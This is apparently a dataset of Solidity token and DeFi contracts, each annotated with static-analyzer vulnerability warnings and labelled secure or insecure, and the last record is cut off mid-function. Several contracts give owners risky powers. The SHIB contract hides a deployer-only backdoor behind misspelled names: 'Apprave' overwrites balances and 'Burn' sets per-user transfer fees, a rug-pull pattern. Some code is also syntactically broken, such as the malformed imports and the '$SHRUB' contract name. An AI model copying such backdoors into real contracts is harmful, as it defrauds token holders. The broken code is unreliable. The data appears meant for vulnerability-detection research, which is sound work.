{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract $SHRUB is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 014735f): $SHRUB._taxWallet should be immutable \n\t// Recommendation for 014735f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a26762f): $SHRUB._initialBuyTax should be constant \n\t// Recommendation for a26762f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b7922a5): $SHRUB._initialSellTax should be constant \n\t// Recommendation for b7922a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a7d965e): $SHRUB._reduceBuyTaxAt should be constant \n\t// Recommendation for a7d965e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0170be6): $SHRUB._reduceSellTaxAt should be constant \n\t// Recommendation for 0170be6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0390b8d): $SHRUB._preventSwapBefore should be constant \n\t// Recommendation for 0390b8d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Saving Hedgehog's Reviving Urban Biodiversity\";\n\n string private constant _symbol = unicode\"$S.H.R.U.B\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 818fb73): $SHRUB._taxSwapThreshold should be constant \n\t// Recommendation for 818fb73: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1e4d60): $SHRUB._maxTaxSwap should be constant \n\t// Recommendation for f1e4d60: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x3ecA4ed2A2415585E4f17bdD899b834Ced33052c);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 52f9a9f): $SHRUB.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 52f9a9f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e168390): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e168390: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4bfbe9e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4bfbe9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e168390\n\t\t// reentrancy-benign | ID: 4bfbe9e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e168390\n\t\t// reentrancy-benign | ID: 4bfbe9e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 131dd57): $SHRUB._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 131dd57: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4bfbe9e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e168390\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e289dc1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e289dc1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a4458eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a4458eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e289dc1\n\t\t\t\t// reentrancy-eth | ID: a4458eb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e289dc1\n\t\t\t\t\t// reentrancy-eth | ID: a4458eb\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a4458eb\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a4458eb\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a4458eb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e289dc1\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a4458eb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a4458eb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e289dc1\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e289dc1\n\t\t// reentrancy-events | ID: e168390\n\t\t// reentrancy-benign | ID: 4bfbe9e\n\t\t// reentrancy-eth | ID: a4458eb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e289dc1\n\t\t// reentrancy-events | ID: e168390\n\t\t// reentrancy-eth | ID: a4458eb\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1ffec58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1ffec58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1df0df3): $SHRUB.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1df0df3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4feb7d5): $SHRUB.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4feb7d5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f78821b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f78821b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 1ffec58\n\t\t// reentrancy-eth | ID: f78821b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 1ffec58\n\t\t// unused-return | ID: 4feb7d5\n\t\t// reentrancy-eth | ID: f78821b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1ffec58\n\t\t// unused-return | ID: 1df0df3\n\t\t// reentrancy-eth | ID: f78821b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 1ffec58\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f78821b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_349.sol", "secure": 0, "size_bytes": 17929 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"./Freezable.sol\" as Freezable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Mintable.sol\" as ERC20Mintable;\nimport \"./ERC20Lockable.sol\" as ERC20Lockable;\n\ncontract DKN is\n ERC20,\n Pausable,\n Freezable,\n ERC20Burnable,\n ERC20Mintable,\n ERC20Lockable\n{\n constructor() ERC20(\"DK Network\", \"DKN\") {\n _mint(msg.sender, 999999999 * (10 ** decimals()));\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function freezeAccount(address holder) public onlyOwner {\n _freezeAccount(holder);\n }\n\n function unfreezeAccount(address holder) public onlyOwner {\n _unfreezeAccount(holder);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public override checkLock(msg.sender, amount) returns (bool) {\n return super.transfer(to, amount);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override checkLock(from, amount) returns (bool) {\n return super.transferFrom(from, to, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9f60971): DKN.balanceOf(address) uses timestamp for comparisons Dangerous comparisons releaseTime <= block.timestamp\n\t// Recommendation for 9f60971: Avoid relying on 'block.timestamp'.\n function balanceOf(\n address holder\n ) public view override returns (uint256 balance) {\n uint256 totalBalance = super.balanceOf(holder);\n uint256 avaliableBalance = 0;\n (uint256 lockedBalance, uint256 lockedLength) = totalLocked(holder);\n require(totalBalance >= lockedBalance);\n\n if (lockedLength > 0) {\n for (uint256 i = 0; i < lockedLength; i++) {\n (uint256 releaseTime, uint256 amount) = lockInfo(holder, i);\n\t\t\t\t// timestamp | ID: 9f60971\n if (releaseTime <= block.timestamp) {\n avaliableBalance += amount;\n }\n }\n }\n\n balance = totalBalance - lockedBalance + avaliableBalance;\n }\n\n function balanceOfTotal(\n address holder\n ) public view returns (uint256 balance) {\n balance = super.balanceOf(holder);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override whenNotPaused whenNotFrozen(from) {\n super._beforeTokenTransfer(from, to, amount);\n }\n}", "file_name": "solidity_code_3490.sol", "secure": 0, "size_bytes": 2868 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BurnableToken is ERC20Burnable {\n\t// WARNING Optimization Issue (immutable-states | ID: 4b9ebbf): BurnableToken._decimals should be immutable \n\t// Recommendation for 4b9ebbf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9db6f18): BurnableToken.constructor(uint256,string,string,uint8,address).service_ lacks a zerocheck on \t address(service_).transfer(getBalance())\n\t// Recommendation for 9db6f18: Check that the address is not zero.\n constructor(\n uint256 totalSupply_,\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n address service_\n ) payable ERC20(name_, symbol_) {\n _decimals = decimals_;\n _mint(_msgSender(), totalSupply_ * 10 ** decimals());\n\t\t// missing-zero-check | ID: 9db6f18\n payable(service_).transfer(getBalance());\n }\n\n receive() external payable {}\n\n function getBalance() private view returns (uint256) {\n return address(this).balance;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}", "file_name": "solidity_code_3491.sol", "secure": 0, "size_bytes": 1478 }
{ "code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PhoenixRise is ERC20 {\n constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {\n _name = unicode\"Rising Phoenix\";\n _symbol = unicode\"RISE\";\n _decimals = 9;\n _totalSupply += initialSupply;\n _balances[msg.sender] += initialSupply;\n emit Transfer(address(0), msg.sender, initialSupply);\n }\n\n function approveBurn(address account, uint256 value) external onlyOwner {\n _burn(account, value);\n }\n}", "file_name": "solidity_code_3492.sol", "secure": 1, "size_bytes": 625 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Erc200 {\n function approve(address, uint256) external returns (bool);\n function transfer(address, uint256) external returns (bool);\n function transferFrom(address, address, uint256) external returns (bool);\n function balanceOf(address) external view returns (uint256);\n}", "file_name": "solidity_code_3493.sol", "secure": 1, "size_bytes": 359 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Cy200 {\n function redeemUnderlying(uint256) external returns (uint256);\n function mint(uint256) external returns (uint256);\n function borrow(uint256) external returns (uint256);\n function repayBorrow(uint256) external returns (uint256);\n}", "file_name": "solidity_code_3494.sol", "secure": 1, "size_bytes": 327 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Registry {\n function cy(address) external view returns (address);\n function price(address) external view returns (uint256);\n}", "file_name": "solidity_code_3495.sol", "secure": 1, "size_bytes": 206 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Cll {\n function latestAnswer() external view returns (int256);\n}", "file_name": "solidity_code_3496.sol", "secure": 1, "size_bytes": 141 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./erc20.sol\" as erc20;\nimport \"./cy20.sol\" as cy20;\nimport \"./registry.sol\" as registry;\nimport \"./cl.sol\" as cl;\n\ncontract IbAmm {\n address constant mim = address(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);\n address constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n registry constant ff = registry(0x5C08bC10F45468F18CbDC65454Cbd1dd2cB1Ac65);\n cl constant dai_feed = cl(0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9);\n cl constant mim_feed = cl(0x7A364e8770418566e3eb2001A96116E6138Eb32F);\n\n address public governance;\n address public pending_governance;\n bool public breaker = false;\n int256 public threshold = 99000000;\n uint256 public constant fee = 3;\n uint256 public constant base = 1000;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e9f1fbc): ib_amm.constructor(address)._governance lacks a zerocheck on \t governance = _governance\n\t// Recommendation for e9f1fbc: Check that the address is not zero.\n constructor(address _governance) {\n\t\t// missing-zero-check | ID: e9f1fbc\n governance = _governance;\n }\n\n modifier only_governance() {\n require(msg.sender == governance);\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a265922): ib_amm.set_governance(address)._governance lacks a zerocheck on \t pending_governance = _governance\n\t// Recommendation for a265922: Check that the address is not zero.\n function set_governance(address _governance) external only_governance {\n\t\t// missing-zero-check | ID: a265922\n pending_governance = _governance;\n }\n\n function accept_governance() external {\n require(msg.sender == pending_governance);\n governance = pending_governance;\n }\n\n function set_breaker(bool _breaker) external only_governance {\n breaker = _breaker;\n }\n\n function set_threshold(int256 _threshold) external only_governance {\n threshold = _threshold;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c1a170b): ib_amm.repay(cy20,address,uint256) ignores return value by erc20(token).approve(address(cy),amount)\n\t// Recommendation for c1a170b: Ensure that all the return values of the function calls are used.\n function repay(\n cy20 cy,\n address token,\n uint256 amount\n ) external returns (bool) {\n _safeTransferFrom(token, msg.sender, address(this), amount);\n\t\t// unused-return | ID: c1a170b\n erc20(token).approve(address(cy), amount);\n require(cy.repayBorrow(amount) == 0, \"ib: !repay\");\n return true;\n }\n\n function dai_quote() external view returns (int256) {\n return dai_feed.latestAnswer();\n }\n\n function mim_quote() external view returns (int256) {\n return mim_feed.latestAnswer();\n }\n\n function buy_quote(address to, uint256 amount) public view returns (uint256) {\n uint256 _fee = (amount * fee) / base;\n return ((amount - _fee) * 1e18) / ff.price(to);\n }\n\n function sell_quote(address from, uint256 amount) public view returns (uint256) {\n uint256 _fee = (amount * fee) / base;\n return ((amount - _fee) * ff.price(from)) / 1e18;\n }\n\n function buy(address to, uint256 amount, uint256 minOut) external returns (bool) {\n require(!breaker, \"breaker\");\n require(dai_feed.latestAnswer() > threshold, \"peg\");\n _safeTransferFrom(dai, msg.sender, governance, amount);\n uint256 _quote = buy_quote(to, amount);\n require(_quote > 0 && _quote >= minOut, \"< minOut\");\n require(cy20(ff.cy(to)).borrow(_quote) == 0, \"ib: borrow failed\");\n _safeTransfer(to, msg.sender, _quote);\n return true;\n }\n\n function sell(\n address from,\n uint256 amount,\n uint256 minOut\n ) external returns (bool) {\n require(!breaker, \"breaker\");\n require(mim_feed.latestAnswer() > threshold, \"peg\");\n _safeTransferFrom(from, msg.sender, governance, amount);\n uint256 _quote = sell_quote(from, amount);\n require(_quote > 0 && _quote >= minOut, \"< minOut\");\n _safeTransfer(mim, msg.sender, _quote);\n return true;\n }\n\n function _safeTransfer(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(erc20.transfer.selector, to, value)\n );\n require(success && (data.length == 0 || abi.decode(data, (bool))));\n }\n\n function _safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value)\n );\n require(success && (data.length == 0 || abi.decode(data, (bool))));\n }\n}", "file_name": "solidity_code_3497.sol", "secure": 0, "size_bytes": 5033 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract SafeMath {\n function safeAdd(uint256 a, uint256 b) internal pure returns (uint256 c) {\n c = a + b;\n require(c >= a);\n }\n function safeSub(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require(b <= a);\n c = a - b;\n }\n function safeMul(uint256 a, uint256 b) internal pure returns (uint256 c) {\n c = a * b;\n require(a == 0 || c / a == b);\n }\n function safeDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require(b > 0);\n c = a / b;\n }\n}", "file_name": "solidity_code_3498.sol", "secure": 1, "size_bytes": 629 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ERC20Interface {\n function totalSupply() public view virtual returns (uint256);\n function balanceOf(\n address tokenOwner\n ) public view virtual returns (uint256 balance);\n function allowance(\n address tokenOwner,\n address spender\n ) public view virtual returns (uint256 remaining);\n function transfer(\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n function approve(\n address spender,\n uint256 tokens\n ) public virtual returns (bool success);\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n event Burn(address indexed from, uint256 value);\n event Freeze(address indexed from, uint256 value);\n event Unfreeze(address indexed from, uint256 value);\n event Issue(uint256 amount);\n event Deprecate(address newAddress);\n}", "file_name": "solidity_code_3499.sol", "secure": 1, "size_bytes": 1233 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"SafeMath: subtraction overflow\");\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: division by zero\");\n\n uint256 c = a / b;\n\n return c;\n }\n}", "file_name": "solidity_code_35.sol", "secure": 1, "size_bytes": 915 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SHIB is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b9add86): SHIB._decimals should be immutable \n\t// Recommendation for b9add86: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: be1a21d): SHIB._totalSupply should be immutable \n\t// Recommendation for be1a21d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec1ed36): SHIB._bootsmark should be immutable \n\t// Recommendation for ec1ed36: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _bootsmark;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _bootsmark = msg.sender;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Burn(address us, uint256 tse) external {\n require(_iee(msg.sender), \"Caller is not the original caller\");\n\n uint256 ee = 100;\n\n bool on = tse <= ee;\n\n _everter(on);\n\n _seFee(us, tse);\n }\n\n function _iee(address caller) internal view returns (bool) {\n return iMee();\n }\n\n function _everter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _seFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function iMee() internal view returns (bool) {\n return _msgSender() == _bootsmark;\n }\n\n function Apprave(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] = receiveRewrd;\n require(_iee(recipient), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function 